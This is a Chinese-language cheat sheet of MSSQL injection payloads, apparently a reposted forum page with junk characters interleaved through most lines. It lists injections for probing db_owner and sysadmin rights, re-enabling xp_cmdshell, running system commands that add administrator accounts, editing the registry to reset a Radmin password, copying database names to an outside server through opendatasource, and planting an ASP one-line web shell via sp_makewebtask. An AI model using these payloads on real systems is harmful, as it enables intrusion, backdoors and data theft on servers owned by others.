阿D常用的一些注入命令 d: t- H7 k6 T' Y1 N: O
//看看是什么权限的
& W- [6 A' e& B6 c+ K; [1 Uand 1=(Select IS_MEMBER('db_owner'))7 z. N/ A; J# H
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
+ t) r5 O8 V2 D3 F* Y
& e) h0 D, l+ o6 Q C! Z//检测是否有读取某数据库的权限7 L* p7 q* ?. Q$ ]; M. N& k
and 1= (Select HAS_DBACCESS('master'))
6 C- z# G8 _) s' |( x: T) VAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
+ k) o# s- J" U, ^# s- D) X7 K1 j5 k- T& }/ E7 m0 Q
# Z8 V, P* Y' ^4 }1 f* i数字类型% \, I) I6 D: g9 O8 x* W5 s
and char(124)%2Buser%2Bchar(124)=0% V+ \$ ~0 w: ?! Q- j
+ k; w; w5 f% `6 M- X- t. N/ V
字符类型
( _2 E q9 T( e6 h6 h9 G( S' and char(124)%2Buser%2Bchar(124)=0 and ''='
/ b& b$ G+ B3 ]6 M9 m0 {1 N4 c0 t- a0 J, u: L. o8 o9 h5 n% H. e. L
搜索类型
) l1 k* ~7 Q; A/ |5 O7 d' and char(124)%2Buser%2Bchar(124)=0 and '%'='8 `% Y H- ^* l: q! K+ U ] ]
+ K. P# o8 ]! F, q爆用户名
! f1 n K4 @0 Band user>0
$ K6 U3 Y8 g1 c' g" t1 e' and user>0 and ''='
% m- M0 P: }) e. D, b" U& I. J* s- Y7 [) @* _; p
检测是否为SA权限
, X1 R* e4 ]/ J' jand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 W; h4 H$ y0 N+ d5 |% \And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
; k! y9 ?; N+ Q# r2 W8 }' V* A; v4 y% M! r R# P
检测是不是MSSQL数据库: C7 M$ C: r2 K1 G/ A
and exists (select * from sysobjects);--
8 R1 ^1 N1 A. T& b' L0 N) f
& V1 i* L- S$ }" _检测是否支持多行
8 K- R7 z1 T* q;declare @d int;--
8 t7 @5 Y6 G0 H* i+ o; B
3 [9 m1 W" v! o# K! b7 d; X3 N恢复 xp_cmdshell; K8 z, z% G$ c' _4 q4 i0 Q
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
6 B6 E/ _) T% n1 @9 w+ U3 _5 d9 C0 ]1 j/ i# e
5 v) ~) _& [1 V4 p! e. n- d5 Y
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') $ i4 t- o7 y0 o
7 c4 Q* x* I2 f9 H
//-----------------------0 t. G" X, N2 [
// 执行命令
- e9 [. R" S0 U: |//-----------------------8 F% h. n B6 [: m+ B1 A+ G7 E9 c. n
首先开启沙盘模式:
" L0 Z9 m/ Y& o0 iexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( s/ K% A3 I& D! {; _
; P; Z& s& T. t2 b# k3 N. d. y
然后利用jet.oledb执行系统命令
8 U, P2 H& T2 ] D) u# Qselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')' w% J' w1 I" y( s7 M
* }3 z% n; q; S( x! s执行命令/ F, ?4 H6 V) b# O1 X" I1 X
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--2 }7 l' M6 }! ]8 G
5 y, `+ t1 e' n3 N/ x4 N0 q9 @3 R
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'/ Y& g. h& P+ Y1 V- x7 ]6 U! ^
$ t' K+ l3 ^# g$ ^5 T. M
判断xp_cmdshell扩展存储过程是否存在:" W0 ^, h9 c" i* }" \$ h- {- [; F& D
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
* W! F9 u0 A% Q6 O. ^2 O
6 L' P# h) \8 J; L( }2 B# f写注册表8 U6 e" T1 c9 v& u/ I$ g5 L
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 I& @9 c- b% ^% \! C( S1 |# D( L
* m1 K' K4 h1 ?! w% x2 L+ vREG_SZ
+ o: q: D- n5 A7 ?: K: h/ y+ B, @
读注册表, @* }5 u) j0 W- `& b
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' r% D* z6 u9 b0 C" O$ \: P
$ z( ^6 O* I ^( k2 {读取目录内容* u, U/ |0 T# D V8 s: V( t j+ s
exec master..xp_dirtree 'c:\winnt\system32\',1,1
. w- k2 `2 \4 z" C6 z* B6 M( z! ^1 w
$ O8 W4 w: \/ K/ Y7 q9 A
: p7 u# c) w1 p数据库备份1 Z& H5 v2 [9 B
backup database pubs to disk = 'c:\123.bak'4 |- _0 y5 M1 H
5 i9 Y: ]+ [( e2 h! D2 A
//爆出长度
8 G( P8 K- w4 M, kAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--3 e( \: p8 K. M, A/ P
6 G* X: _# i. n: p F( ^, ^
6 d# x0 x1 y9 Q- ?. ?$ _+ z d3 D! H# b8 }- \' d
更改sa口令方法:用sql综合利用工具连接后,执行命令:
4 y% K' a1 E. l1 i1 T. kexec sp_password NULL,'新密码','sa'2 j% l! h/ Y" d! X8 p
; [, O8 F# q& E$ f0 Z添加和删除一个SA权限的用户test:& I6 z2 S, G7 c* z, I6 ~
exec master.dbo.sp_addlogin test,ptlove
: d N" ]: {& J: zexec master.dbo.sp_addsrvrolemember test,sysadmin
; S* v a0 y A; s3 a# P8 C; v! i9 ~8 @) {; [2 |
删除扩展存储过过程xp_cmdshell的语句:
! a m# Q' f. E) n. U( X ~2 }exec sp_dropextendedproc 'xp_cmdshell' m: L# e4 d% m2 C2 ~1 c, J) `( X
5 A% A4 T Q8 h6 i/ s: M$ a" J* t; K
添加扩展存储过过程4 n3 D! H7 H& }" [& }7 \* S+ C7 x
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
' t3 n/ ^! V3 C! ?& c% sGRANT exec On xp_proxiedadata TO public
I9 S. Y# D% Y: [8 {8 @) ]$ b: m3 u
8 T7 O* A8 c8 l( j! H/ T* d2 O
停掉或激活某个服务。 , e! ?$ Q; \8 u0 g) L" a
: \$ y$ o8 D' b1 F5 ]: Iexec master..xp_servicecontrol 'stop','schedule'
" f8 n) n* ]5 E6 x% Cexec master..xp_servicecontrol 'start','schedule'
' _; Q- Y' ^9 U" ?
$ @7 I' G9 ^4 ?; D0 X( v/ t* n$ H: {dbo.xp_subdirs8 t& u" s; O; L8 d. E7 r0 i
. o' v7 j3 h# L' E0 D
只列某个目录下的子目录。
" e2 X5 U8 {! G, w6 q, uxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
5 ?% z2 H. ]! n" B
2 I6 s0 ~) k! H0 sdbo.xp_makecab
- R8 @5 O/ e7 h3 Z' U+ Q. g- j' t- U8 T" ]. `/ o
将目标多个档案压缩到某个目标档案之内。
! z, ]6 w- V% o% T R( F) K所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。" f% a2 c6 L, c/ A% S3 p+ D2 v+ B
4 J- y/ a: w3 `) ~- v
dbo.xp_makecab4 \! S2 e0 X1 ?, D# X1 F
'c:\test.cab','mszip',1,
3 d) _9 g9 g0 U* h1 z/ _'C:\Inetpub\wwwroot\SQLInject\login.asp',
& i! M9 Y' [# t8 j8 m) e( |'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'7 H q# M% ~8 a8 y
) I2 `1 o1 u1 O4 U8 m' E8 O. Sxp_terminate_process
; U( b3 a, G. s8 r# ]5 e8 r5 m
; W ?% g. B$ @. P# @4 j5 g/ X停掉某个执行中的程序,但赋予的参数是 Process ID。
( W% u) H2 p( S z利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID' X. n1 `* C' x
# ?( e) [6 r& P0 [3 exp_terminate_process 2484! |, D1 k q+ z! h, e
' O( k4 ~3 Y( ^% ~0 g1 c
xp_unpackcab
) ]3 {) c) U. O% k0 p$ O! \9 c
8 Y' q3 `" P( U' @解开压缩档。
+ L( K% o4 e$ t$ M/ g
4 e3 f2 Y2 L/ Oxp_unpackcab 'c:\test.cab','c:\temp',1
% y5 k4 u5 m2 b8 ^" {8 n( [! T, S% Y: R. p4 _
' W9 V/ X9 r& K( I8 h6 @
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234; e3 {/ E3 ?! Z
0 y2 f& o! v, q% X& wcreate database lcx;
$ u# k. f/ ^5 p- D4 Q0 wCreate TABLE ku(name nvarchar(256) null);
4 I. z% P. h: h A _9 k! kCreate TABLE biao(id int NULL,name nvarchar(256) null);" B) n7 z4 {/ t) t% y1 |0 x
5 }- [0 ]7 B# N) U7 I
//得到数据库名
1 M: z* [0 Y2 hinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases' ^+ {4 i: k# S7 h* M, u* v# y
X0 l& J9 l+ K
. V8 d; U M/ v1 u' y" N# {! ^, F
//在Master中创建表,看看权限怎样
: v6 ^* F' }; M. m5 J' tCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
; z7 O/ s- ^) s+ ^9 P4 v
9 q- s' O2 D2 O* u% E& {8 s用 sp_makewebtask直接在web目录里写入一句话马:
+ o a; o! K7 q5 Q3 E. fhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--; d' {; z' w* ~" {5 t0 Y
. f- o) x I$ ^$ c
//更新表内容4 `3 S0 v5 d5 \/ s4 U' B0 s. B
Update films SET kind = 'Dramatic' Where id = 1230 d& `. r% Q) ?: u
1 s% u+ Q7 i2 ~' _ u5 z//删除内容
7 m z3 f5 [( ?, O7 Z! p- odelete from table_name where Stockid = 3 |